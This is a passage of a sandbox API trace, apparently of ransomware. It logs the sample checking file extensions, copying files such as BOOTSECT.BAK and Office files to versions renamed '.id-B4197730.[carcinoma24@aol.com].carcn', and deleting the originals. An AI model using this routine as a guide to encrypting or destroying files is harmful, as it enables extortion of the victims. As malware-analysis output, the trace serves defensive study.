(lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.635] lstrlenW (lpString=".1cd") returned 4 [0162.635] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0162.635] lstrlenW (lpString=".jpg") returned 4 [0162.635] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.636] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0162.636] lstrlenW (lpString="UiInfo.xml") returned 10 [0162.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0162.636] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=38898) returned 1 [0162.636] CloseHandle (hObject=0x2d4) returned 1 [0162.636] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0162.636] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0162.636] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.636] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.637] GetLastError () returned 0x0 [0162.637] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x97f2, lpOverlapped=0x0) returned 1 [0162.830] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x9800, lpOverlapped=0x0) returned 1 [0162.831] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0162.831] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe8, lpOverlapped=0x0) returned 1 [0162.831] SetEndOfFile (hFile=0x360) returned 1 [0162.831] CloseHandle (hObject=0x360) returned 1 [0162.833] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.833] SetEndOfFile (hFile=0x2d4) returned 1 [0162.834] CloseHandle (hObject=0x2d4) returned 1 [0162.834] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.834] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0162.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.834] lstrlenW (lpString=".doc") returned 4 [0162.834] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.834] lstrlenW (lpString=".docx") returned 5 [0162.834] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.834] lstrlenW (lpString=".pdf") returned 4 [0162.834] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.834] lstrlenW (lpString=".xls") returned 4 [0162.834] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.834] lstrlenW (lpString=".xlsx") returned 5 [0162.834] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.834] lstrlenW (lpString=".ppt") returned 4 [0162.834] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.835] lstrlenW (lpString=".zip") returned 4 [0162.835] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.835] lstrlenW (lpString=".rar") returned 4 [0162.835] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.835] lstrlenW (lpString=".bz2") returned 4 [0162.835] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.835] lstrlenW (lpString=".7z") returned 3 [0162.835] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.835] lstrlenW (lpString=".dbf") returned 4 [0162.835] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.835] lstrlenW (lpString=".1cd") returned 4 [0162.835] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.835] lstrlenW (lpString=".jpg") returned 4 [0162.835] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.835] lstrlenW (lpString=".doc") returned 4 [0162.835] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.835] lstrlenW (lpString=".docx") returned 5 [0162.835] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.835] lstrlenW (lpString=".pdf") returned 4 [0162.835] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.835] lstrlenW (lpString=".xls") returned 4 [0162.835] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.835] lstrlenW (lpString=".xlsx") returned 5 [0162.836] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.836] lstrlenW (lpString=".ppt") returned 4 [0162.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.836] lstrlenW (lpString=".zip") returned 4 [0162.836] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.836] lstrlenW (lpString=".rar") returned 4 [0162.836] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.836] lstrlenW (lpString=".bz2") returned 4 [0162.836] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.836] lstrlenW (lpString=".7z") returned 3 [0162.836] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.836] lstrlenW (lpString=".dbf") returned 4 [0162.836] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.836] lstrlenW (lpString=".1cd") returned 4 [0162.836] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0162.836] lstrlenW (lpString=".jpg") returned 4 [0162.836] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.836] lstrcmpiW (lpString1=".BAK", lpString2=".carcn") returned -1 [0162.836] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0162.836] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0162.837] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=8192) returned 1 [0162.837] CloseHandle (hObject=0x2d4) returned 1 [0162.837] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0162.837] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\bootsect.bak.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.837] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0162.837] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0162.837] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.837] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.837] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\bootsect.bak.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0163.001] GetLastError () returned 0x0 [0163.001] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x2000, lpOverlapped=0x0) returned 1 [0163.117] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x2010, lpOverlapped=0x0) returned 1 [0163.118] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0163.118] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xec, lpOverlapped=0x0) returned 1 [0163.118] SetEndOfFile (hFile=0x360) returned 1 [0163.119] CloseHandle (hObject=0x360) returned 1 [0163.119] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0163.119] SetEndOfFile (hFile=0x2d4) returned 1 [0163.120] CloseHandle (hObject=0x2d4) returned 1 [0163.120] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x27) returned 1 [0163.121] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0163.121] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.121] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.121] lstrlenW (lpString=".doc") returned 4 [0163.121] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0163.121] lstrlenW (lpString=".docx") returned 5 [0163.121] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0163.121] lstrlenW (lpString=".pdf") returned 4 [0163.121] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0163.121] lstrlenW (lpString=".xls") returned 4 [0163.121] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0163.121] lstrlenW (lpString=".xlsx") returned 5 [0163.121] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0163.121] lstrlenW (lpString=".ppt") returned 4 [0163.121] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0163.121] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.121] lstrlenW (lpString=".zip") returned 4 [0163.121] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0163.121] lstrlenW (lpString=".rar") returned 4 [0163.121] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0163.122] lstrlenW (lpString=".bz2") returned 4 [0163.122] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0163.122] lstrlenW (lpString=".7z") returned 3 [0163.122] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0163.122] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.122] lstrlenW (lpString=".dbf") returned 4 [0163.122] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0163.122] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.122] lstrlenW (lpString=".1cd") returned 4 [0163.122] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0163.122] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.122] lstrlenW (lpString=".jpg") returned 4 [0163.122] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0163.122] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.122] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.122] lstrlenW (lpString=".doc") returned 4 [0163.122] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0163.122] lstrlenW (lpString=".docx") returned 5 [0163.122] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0163.122] lstrlenW (lpString=".pdf") returned 4 [0163.122] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0163.122] lstrlenW (lpString=".xls") returned 4 [0163.122] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0163.122] lstrlenW (lpString=".xlsx") returned 5 [0163.122] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0163.122] lstrlenW (lpString=".ppt") returned 4 [0163.122] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0163.122] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.122] lstrlenW (lpString=".zip") returned 4 [0163.122] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0163.122] lstrlenW (lpString=".rar") returned 4 [0163.122] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0163.122] lstrlenW (lpString=".bz2") returned 4 [0163.123] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0163.123] lstrlenW (lpString=".7z") returned 3 [0163.123] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0163.123] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.123] lstrlenW (lpString=".dbf") returned 4 [0163.123] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0163.123] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.123] lstrlenW (lpString=".1cd") returned 4 [0163.123] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0163.123] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0163.123] lstrlenW (lpString=".jpg") returned 4 [0163.123] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0163.123] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0163.123] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0163.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.173] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=4782) returned 1 [0163.173] CloseHandle (hObject=0x2d4) returned 1 [0163.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0163.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.173] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0163.173] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0163.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0163.175] GetLastError () returned 0x0 [0163.175] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x12ae, lpOverlapped=0x0) returned 1 [0163.323] WriteFile (in: hFile=0x314, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x12b0, lpOverlapped=0x0) returned 1 [0163.324] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0163.324] WriteFile (in: hFile=0x314, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x104, lpOverlapped=0x0) returned 1 [0163.324] SetEndOfFile (hFile=0x314) returned 1 [0163.324] CloseHandle (hObject=0x314) returned 1 [0163.325] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0163.325] SetEndOfFile (hFile=0x2d4) returned 1 [0163.326] CloseHandle (hObject=0x2d4) returned 1 [0163.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0163.326] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0163.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.327] lstrlenW (lpString=".doc") returned 4 [0163.327] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.327] lstrlenW (lpString=".docx") returned 5 [0163.327] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0163.327] lstrlenW (lpString=".pdf") returned 4 [0163.327] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.327] lstrlenW (lpString=".xls") returned 4 [0163.327] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.327] lstrlenW (lpString=".xlsx") returned 5 [0163.327] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0163.327] lstrlenW (lpString=".ppt") returned 4 [0163.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.327] lstrlenW (lpString=".zip") returned 4 [0163.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.327] lstrlenW (lpString=".rar") returned 4 [0163.327] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.327] lstrlenW (lpString=".bz2") returned 4 [0163.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.327] lstrlenW (lpString=".7z") returned 3 [0163.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.327] lstrlenW (lpString=".dbf") returned 4 [0163.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.327] lstrlenW (lpString=".1cd") returned 4 [0163.327] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.327] lstrlenW (lpString=".jpg") returned 4 [0163.327] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.328] lstrlenW (lpString=".doc") returned 4 [0163.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.328] lstrlenW (lpString=".docx") returned 5 [0163.328] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0163.328] lstrlenW (lpString=".pdf") returned 4 [0163.328] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.328] lstrlenW (lpString=".xls") returned 4 [0163.328] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.328] lstrlenW (lpString=".xlsx") returned 5 [0163.328] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0163.328] lstrlenW (lpString=".ppt") returned 4 [0163.328] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.328] lstrlenW (lpString=".zip") returned 4 [0163.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.328] lstrlenW (lpString=".rar") returned 4 [0163.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.328] lstrlenW (lpString=".bz2") returned 4 [0163.328] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.328] lstrlenW (lpString=".7z") returned 3 [0163.328] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.328] lstrlenW (lpString=".dbf") returned 4 [0163.328] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.328] lstrlenW (lpString=".1cd") returned 4 [0163.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0163.328] lstrlenW (lpString=".jpg") returned 4 [0163.328] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.329] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0163.329] lstrlenW (lpString="boxed-correct.avi") returned 17 [0163.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0163.435] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=111320) returned 1 [0163.435] CloseHandle (hObject=0x314) returned 1 [0163.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0163.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.436] lstrlenW (lpString=".doc") returned 4 [0163.436] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.436] lstrlenW (lpString=".docx") returned 5 [0163.436] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0163.436] lstrlenW (lpString=".pdf") returned 4 [0163.436] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.436] lstrlenW (lpString=".xls") returned 4 [0163.436] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 